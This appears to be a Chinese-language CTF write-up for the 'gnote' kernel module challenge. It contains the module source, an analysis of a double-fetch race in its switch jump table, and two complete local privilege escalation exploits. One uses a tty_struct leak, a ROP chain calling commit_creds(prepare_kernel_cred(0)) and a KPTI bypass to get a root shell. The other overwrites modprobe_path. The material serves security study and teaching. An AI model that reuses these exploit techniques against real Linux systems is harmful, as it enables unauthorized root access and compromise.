#include
#include
#include
#include
#include
#include
#include
#include
#include
#define MAX_NOTE 8
static DEFINE_MUTEX(lock);
struct note {
unsigned long size;
char *contents;
};
unsigned long cnt;
unsigned long selected;
struct note notes[MAX_NOTE];
ssize_t gnote_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
unsigned int index;
mutex_lock(&lock);
/*
* 1. add note
* 2. edit note
* 3. delete note
* 4. copy note
* 5. select note
* No implementation :(
*/
switch(*(unsigned int *)buf){
case 1:
if(cnt >= MAX_NOTE){
break;
}
notes[cnt].size = *((unsigned int *)buf+1);
if(notes[cnt].size > 0x10000){
break;
}
notes[cnt].contents = kmalloc(notes[cnt].size, GFP_KERNEL);
cnt++;
break;
case 2:
printk("Edit Not implemented\n");
break;
case 3:
printk("Delete Not implemented\n");
break;
case 4:
printk("Copy Not implemented\n");
break;
case 5:
index = *((unsigned int *)buf+1);
if(cnt > index){
selected = index;
}
break;
}
mutex_unlock(&lock);
return count;
}
ssize_t gnote_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{
mutex_lock(&lock);
if(selected == -1){
mutex_unlock(&lock);
return 0;
}
if(count > notes[selected].size){
count = notes[selected].size;
}
copy_to_user(buf, notes[selected].contents, count);
selected = -1;
mutex_unlock(&lock);
return count;
}
struct file_operations gnote_proc = {
.write = gnote_write,
.read = gnote_read,
};
static int __init gnote_init(void)
{
cnt=0;
selected=-1;
proc_create_data("gnote", 0666, NULL, &gnote_proc, NULL);
printk("/proc/gnote created\n");
return 0;
}
static void __exit
gnote_exit(void)
{
remove_proc_entry("gnote", NULL);
printk("unloading gnote\n");
}
module_init(gnote_init);
module_exit(gnote_exit);
首先看启动脚本和/proc/cpuinfo
,没有看起smap保护
#!/bin/sh
cd /home/gnote
stty intr ^]
exec \
timeout 120 \
qemu-system-x86_64 \
-m 64M \
-kernel bzImage \
-initrd rootfs.cpio -append "loglevel=3 console=ttyS0 oops=panic panic=1 kaslr" \
-nographic \
-net user -net nic \
-device e1000 -smp cores=2,threads=2 \
-cpu kvm64,+smep \
-monitor /dev/null 2>/dev/null
/ $ cat /proc/cpuinfo | grep "smep"
flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm cop
flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm cop
flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm cop
flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm cop
/ $ cat /proc/cpuinfo | grep "smap"
/ $
先看gnote_write的源码
ssize_t gnote_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
[...]
switch(*(unsigned int *)buf){
[...]
notes[cnt].size = *((unsigned int *)buf+1);
[...]
index = *((unsigned int *)buf+1);
}
在调用gnote_write时,buf指针指向的结构体类似于
struct write_struct{
unsigned int sele_func;
unsigned int num;
}
再看gnote_write的switch跳转表(首先需要知道syscall时,参数1~参数6是保存在 rdi,rsi,rdx,r10,r8,r9),rsi保存的是buf的地址
.text:0000000000000000 public gnote_write
.text:0000000000000000 gnote_write proc near ; DATA XREF: .data:00000000000002D8↓o
.text:0000000000000000 push rbp
.text:0000000000000001 mov rdi, offset lock
.text:0000000000000008 mov rbp, rsp
.text:000000000000000B push r12
.text:000000000000000D push rbx
.text:000000000000000E mov rbx, rsi <<<<<<<<<<<<<<<<<<<<<<<<<<<
.text:0000000000000011 mov r12, rdx
.text:0000000000000014 call mutex_lock
.text:0000000000000019 cmp dword ptr [rbx], 5 <<<<<<<<<<<<<<<<<<<<<<<<<<<
.text:000000000000001C ja short loc_6E
.text:000000000000001E mov eax, [rbx] <<<<<<<<<<<<<<<<<<<<<<<<<<< 获取switch跳转索引
.text:0000000000000020 mov rax, ds:off_220[rax*8]<<<<<<<<<<<<<<<<<<<<<<<<<<< 跳转表中case代码块地址
.text:0000000000000028 jmp __x86_indirect_thunk_rax
.rodata:0000000000000220 off_220 dq offset loc_6E ; DATA XREF: gnote_write+20↑r
.rodata:0000000000000228 dq offset loc_2D
.rodata:0000000000000230 dq offset sub_A5
.rodata:0000000000000238 dq offset sub_97
.rodata:0000000000000240 dq offset sub_B3
.rodata:0000000000000248 dq offset sub_82
.rodata:0000000000000248 _rodata ends
简化为
[0] .text:000000000000000E mov rbx, rsi <<<<<<<<<<<<
[1] .text:0000000000000019 cmp dword ptr [rbx], 5 <<<<<<<<<<<<
.text:000000000000001C ja short loc_6E
[2] .text:000000000000001E mov eax, [rbx] <<<<<<<<<<<< 获取switch跳转索引
[3] .text:0000000000000020 mov rax, ds:off_220[rax*8] <<<<<<<<<<<< 跳转表中case代码块地址
[4] .text:0000000000000028 jmp __x86_indirect_thunk_rax
rsi为用户空间的地址buf,将用户空间buf的地址赋值给rbx
[1] 从用户空间获取内容sele_func,与5进行比较,检查sele_func的大小
[2] 再次从用户空间获取sele_func
[3] 从第二次获取的sele_func,获取跳转表中的地址
问题在于[1]、[2]都是从用户空间获取sele_func,这里有个问题,在[1]验证通过,在[2]执行之前,修改用户空间的sele_func
,就有可能出现这样的问题
由于没有smap保护,再通过竞争sele_func,使得sele_func足够大,使得跳转表溢出到用户空间
//$ gcc -O3 -pthread -static -g -masm=intel ./exp.c -o exp
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((reparm(3)))(*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
struct data {
unsigned int menu;
unsigned int arg;
};
int istriggered =0;
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[+] Status has been saved!");
}
void race(void *s)
{
struct data *d=s;
while(!istriggered){
d->menu = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
puts("[*] race ..."); // 0xffffffffa0000000
}
}
void shell()
{
istriggered =1;
system("/bin/sh");
}
void add_note(int fd, unsigned int size)
{
struct data d;
d.menu=1;
d.arg=size;
write(fd, (char *)&d, sizeof(struct data));
}
void select_note(int fd, unsigned int idx)
{
struct data d;
d.menu=5;
d.arg = idx;
write(fd, (char *)&d, sizeof(struct data));
}
int main()
{
char buf[0x8000];
struct data race_arg;
pthread_t pthread;
save_status();
int fd;
// Step 1 : leak kernel address
fd=open("proc/gnote", O_RDWR);
if (fd<0)
{
puts("[-] Open driver error!");
exit(-1);
}
int fds[50];
for (int i=0;i<50; i++)
fds[i]=open("/dev/ptmx", O_RDWR|O_NOCTTY);
for (int i=0;i<50; i++)
close(fds[i]);
add_note(fd,0x2e0); // tty_struct结构大小0x2e0
select_note(fd,0);
read(fd, buf, 512);
//for (int i=0; i< 20; i++)
// printf("%p\n", *(size_t *)(buf+i*8));
unsigned long leak, kernel_base;
leak= *(size_t *)(buf+3*8);
kernel_base = leak - 0xA35360;
printf("[+] Leak_addr= %p kernel_base= %p\n", leak , kernel_base);
unsigned long prepare_kernel_cred = kernel_base + 0x69fe0;
unsigned long commit_creds = kernel_base + 0x69df0;
unsigned long native_write_cr4_addr=kernel_base + (0x8cc3ef20-0x8cc00000);
unsigned long fake_cr4 = 0x407f0;
unsigned long xchg_eax_esp_ret = kernel_base + 0x1992a; //xchg eax, esp; ret;
unsigned long pop_rdi_ret = kernel_base + 0x1c20d; //pop rdi; ret;
unsigned long pop_rsi_ret = kernel_base + 0x37799; //pop rsi; ret;
unsigned long pop_rdx_ret = kernel_base + 0xdd812; //pop rdx; ret;
unsigned long swapgs_p_ret = kernel_base + 0x3efc4; //swapgs; pop rbp; ret;
unsigned long iretq_p_ret = kernel_base + 0x1dd06; //iretq; pop rbp; ret;
unsigned long mov_rdi_rax_p_ret = kernel_base + 0x21ca6a; //cmp rcx, rsi; mov rdi, rax; ja 0x41ca5d; pop rbp; ret;
unsigned long kpti_ret = kernel_base + 0x600a4a;
// Step 2 : 布置堆喷数据。内核加载最低地址0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
char *pivot_addr=mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
unsigned long *spray_addr= (unsigned long *)pivot_addr;
for (int i=0; i<0x1000000/8; i++)
spray_addr[i]=xchg_eax_esp_ret;
// Step 3 : 布置ROP。由于已经xchg eax,esp 而rax指向xchg地址,所以rop链地址是xchg地址低8位。
unsigned long mmap_base = xchg_eax_esp_ret & 0xfffff000;
unsigned long *rop_base = (unsigned long*)(xchg_eax_esp_ret & 0xffffffff);
char *ropchain = mmap((void *)mmap_base, 0x2000, PROT_READ|PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
int i=0;
// commit_creds(prepare_kernel_cred(0))
rop_base[i++] = pop_rdi_ret;
rop_base[i++] = 0;
rop_base[i++] = prepare_kernel_cred;
rop_base[i++] = pop_rsi_ret; // ja大于则跳转,-1是最大的数
rop_base[i++] = -1;
rop_base[i++] = mov_rdi_rax_p_ret;
rop_base[i++] = 0;
rop_base[i++] = commit_creds;
// bypass kpti
rop_base[i++] = kpti_ret;
rop_base[i++] = 0;
rop_base[i++] = 0;
rop_base[i++] = &shell;
rop_base[i++] = user_cs;
rop_base[i++] = user_rflags;
rop_base[i++] = user_sp;
rop_base[i++] = user_ss;
// Step 4 : 开始竞争
race_arg.arg = 0x10001;
pthread_create(&pthread,NULL, race, &race_arg);
for (int j=0; j< 0x10000000000; j++)
{
race_arg.menu = 1;
write(fd, (void*)&race_arg, sizeof(struct data));
}
pthread_join(pthread, NULL);
return 0;
}
/*
1.kernel_base:
0x18: 0xffffffffba435360 - ffffffffb9a00000 = 0xA35360
ffffffffb9a69fe0 T prepare_kernel_cred
2.ROP gadget:
0xffffffff8101992a: xchg eax, esp; ret;
0xffffffff8101c20d: pop rdi; ret;
0xffffffff81037799: pop rsi; ret;
0xffffffff810dd812: pop rdx; ret;
0xffffffff8103efc4: swapgs; pop rbp; ret;
0xffffffff8101dd06: iretq; pop rbp; ret;
0xffffffff8121ca6a: cmp rcx, rsi; mov rdi, rax; ja 0x41ca5d; pop rbp; ret;
3.下断点
.text:0000000000000019 cmp dword ptr [rbx], 5
.text:000000000000001C ja short loc_6E
.text:000000000000001E mov eax, [rbx]
.text:0000000000000020 mov rax, ds:off_220[rax*8]
.text:0000000000000028 jmp __x86_indirect_thunk_rax
cat /sys/module/gnote/sections/.text
4.kpti_ret
ffffffffbde00a34 T swapgs_restore_regs_and_return_to_usermode
/ # cat /proc/kallsyms| grep ffffffffbde00a
ffffffffbde00a00 t common_interrupt
ffffffffbde00a0f t ret_from_intr
ffffffffbde00a2c T retint_user
ffffffffbde00a34 T swapgs_restore_regs_and_return_to_usermode
ffffffffbde00abb T restore_regs_and_return_to_kernel
ffffffffbde00abb t retint_kernel
gef➤ x /50i 0xffffffffbde00a34
0xffffffffbde00a34: pop r15
0xffffffffbde00a36: pop r14
0xffffffffbde00a38: pop r13
0xffffffffbde00a3a: pop r12
0xffffffffbde00a3c: pop rbp
0xffffffffbde00a3d: pop rbx
0xffffffffbde00a3e: pop r11
0xffffffffbde00a40: pop r10
0xffffffffbde00a42: pop r9
0xffffffffbde00a44: pop r8
0xffffffffbde00a46: pop rax
0xffffffffbde00a47: pop rcx
0xffffffffbde00a48: pop rdx
0xffffffffbde00a49: pop rsi
0xffffffffbde00a4a: mov rdi,rsp <<<<<<<<<<<<<<<<<<<<<<
0xffffffffbde00a4d: mov rsp,QWORD PTR gs:0x5004
0xffffffffbde00a56: push QWORD PTR [rdi+0x30]
0xffffffffbde00a59: push QWORD PTR [rdi+0x28]
0xffffffffbde00a5c: push QWORD PTR [rdi+0x20]
0xffffffffbde00a5f: push QWORD PTR [rdi+0x18]
0xffffffffbde00a62: push QWORD PTR [rdi+0x10]
0xffffffffbde00a65: push QWORD PTR [rdi]
0xffffffffbde00a67: push rax
0xffffffffbde00a68: xchg ax,ax
0xffffffffbde00a6a: mov rdi,cr3
0xffffffffbde00a6d: jmp 0xffffffffbde00aa3
0xffffffffbde00a6f: mov rax,rdi
0xffffffffbde00a72: and rdi,0x7ff
0xffffffffbde00a79: bt QWORD PTR gs:0x1d996,rdi
0xffffffffbde00a83: jae 0xffffffffbde00a94
0xffffffffbde00a85: btr QWORD PTR gs:0x1d996,rdi
0xffffffffbde00a8f: mov rdi,rax
0xffffffffbde00a92: jmp 0xffffffffbde00a9c
0xffffffffbde00a94: mov rdi,rax
0xffffffffbde00a97: bts rdi,0x3f
0xffffffffbde00a9c: or rdi,0x800
0xffffffffbde00aa3: or rdi,0x1000
0xffffffffbde00aaa: mov cr3,rdi
0xffffffffbde00aad: pop rax
0xffffffffbde00aae: pop rdi
0xffffffffbde00aaf: swapgs
0xffffffffbde00ab2: nop DWORD PTR [rax]
0xffffffffbde00ab5: jmp 0xffffffffbde00ae0
0xffffffffbde00aba: nop
*/
//$ gcc -O3 -pthread -static -g -masm=intel ./exp.c -o exp
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((reparm(3)))(*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
struct data {
unsigned int menu;
unsigned int arg;
};
int istriggered =0;
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[+] Status has been saved!");
}
void race(void *s)
{
struct data *d=s;
while(!istriggered){
d->menu = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
puts("[*] race ...");
}
}
void something(){
puts("[+] Congratulations! You get it!");
system("/tmp/fake");
system("cat /flag");
exit(0);
}
void gen_test(){
//system("echo -ne '#!/bin/sh\n/bin/cp /flag /tmp/flag\n/bin/chmod 777 /tmp/flag\n' > /tmp/chmod");
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /tmp/chmod.sh");
system("chmod +x /tmp/chmod.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fake");
system("chmod +x /tmp/fake");
}
void add_note(int fd, unsigned int size)
{
struct data d;
d.menu=1;
d.arg=size;
write(fd, (char *)&d, sizeof(struct data));
}
void select_note(int fd, unsigned int idx)
{
struct data d;
d.menu=5;
d.arg = idx;
write(fd, (char *)&d, sizeof(struct data));
}
int main()
{
char buf[0x8000];
struct data race_arg;
pthread_t pthread;
save_status();
int fd;
// Step 1 : leak kernel address
fd=open("proc/gnote", O_RDWR);
if (fd<0)
{
puts("[-] Open driver error!");
exit(-1);
}
int fds[50];
for (int i=0;i<50; i++)
fds[i]=open("/dev/ptmx", O_RDWR|O_NOCTTY);
for (int i=0;i<50; i++)
close(fds[i]);
add_note(fd,0x2e0); // tty_struct结构大小0x2e0
select_note(fd,0);
read(fd, buf, 512);
//for (int i=0; i< 20; i++)
// printf("%p\n", *(size_t *)(buf+i*8));
unsigned long leak, kernel_base;
leak= *(size_t *)(buf+3*8);
kernel_base = leak - 0xA35360;
printf("[+] Leak_addr= %p kernel_base= %p\n", leak , kernel_base);
unsigned tty_base = (*(size_t *)(buf+7*8)) & 0xffffffffffffff00;
unsigned long prepare_kernel_cred = kernel_base + 0x69fe0;
unsigned long commit_creds = kernel_base + 0x69df0;
unsigned long native_write_cr4_addr=kernel_base + (0x8cc3ef20-0x8cc00000);
unsigned long fake_cr4 = 0x407f0;
unsigned long xchg_eax_esp_ret = kernel_base + 0x1992a; //xchg eax, esp; ret;
unsigned long pop_rdi_ret = kernel_base + 0x1c20d; //pop rdi; ret;
unsigned long pop_rsi_ret = kernel_base + 0x37799; //pop rsi; ret;
unsigned long pop_rdx_ret = kernel_base + 0xdd812; //pop rdx; ret;
unsigned long swapgs_p_ret = kernel_base + 0x3efc4; //swapgs; pop rbp; ret;
unsigned long iretq_p_ret = kernel_base + 0x1dd06; //iretq; pop rbp; ret;
unsigned long mov_rdi_rax_p_ret = kernel_base + 0x21ca6a; //cmp rcx, rsi; mov rdi, rax; ja 0x41ca5d; pop rbp; ret;
unsigned long kpti_ret = kernel_base + 0x600a4a;
unsigned long modprobe_path = kernel_base + 0xC2C540;
unsigned long memcpy_addr = kernel_base + 0x58a100;
// Step 2 : 布置堆喷数据。内核加载最低地址0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
char *pivot_addr=mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
unsigned long *spray_addr= (unsigned long *)pivot_addr;
for (int i=0; i<0x1000000/8; i++)
spray_addr[i]=xchg_eax_esp_ret;
// Step 3 : 布置ROP。由于已经xchg eax,esp 而rax指向xchg地址,所以rop链地址是xchg地址低8位。
unsigned long mmap_base = xchg_eax_esp_ret & 0xfffff000;
unsigned long *rop_base = (unsigned long*)(xchg_eax_esp_ret & 0xffffffff);
char *ropchain = mmap((void *)mmap_base, 0x2000, PROT_READ|PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
memcpy(mmap_base+0x1000, "/tmp/chmod.sh\0\n", 15);
int i=0;
// commit_creds(prepare_kernel_cred(0))
rop_base[i++] = pop_rdi_ret;
rop_base[i++] = modprobe_path;
rop_base[i++] = pop_rsi_ret;
rop_base[i++] = mmap_base+0x1000; // ja大于则跳转,-1是最大的数
rop_base[i++] = pop_rdx_ret;
rop_base[i++] = 0x10;
rop_base[i++] = memcpy_addr;
// bypass kpti
//rop_base[i++] = swapgs_p_ret;
//rop_base[i++] = tty_base ;
//rop_base[i++] = iretq_p_ret;
rop_base[i++] = kpti_ret;
rop_base[i++] = 0;
rop_base[i++] = 0;
rop_base[i++] = & something;
rop_base[i++] = user_cs;
rop_base[i++] = user_rflags;
rop_base[i++] = user_sp;
rop_base[i++] = user_ss;
// Step 4 : 开始竞争
gen_test(); // 生成/tmp/fake 和 /tmp/chmod 文件
race_arg.arg = 0x10001;
pthread_create(&pthread,NULL, race, &race_arg);
for (int j=0; j< 0x10000000000; j++)
{
race_arg.menu = 1;
write(fd, (void*)&race_arg, sizeof(struct data));
}
pthread_join(pthread, NULL);
getchar();
return 0;
}
/*
1.kernel_base:
0x18: 0xffffffffba435360 - ffffffffb9a00000 = 0xA35360
ffffffffb9a69fe0 T prepare_kernel_cred
2.ROP gadget:
0xffffffff8101992a: xchg eax, esp; ret;
0xffffffff8101c20d: pop rdi; ret;
0xffffffff81037799: pop rsi; ret;
0xffffffff810dd812: pop rdx; ret;
0xffffffff8103efc4: swapgs; pop rbp; ret;
0xffffffff8101dd06: iretq; pop rbp; ret;
0xffffffff8121ca6a: cmp rcx, rsi; mov rdi, rax; ja 0x41ca5d; pop rbp; ret;
ffffffffb758a100 W memcpy
modprobe_path = 0xffffffffb7c2bf60 - 0xffffffffb7000000
gef➤ x /10i 0xffffffffb706a7b0
0xffffffffb706a7b0: push rbp
0xffffffffb706a7b1: mov rdi,0xffffffffb7c2bf60
0xffffffffb706a7b8: mov rbp,rsp
0xffffffffb706a7bb: push rbx
0xffffffffb706a7bc: movzx ebx,BYTE PTR [rip+0xd1ff1d] # 0xffffffffb7d8a6e0
0xffffffffb706a7c3: call 0xffffffffb706a350
*/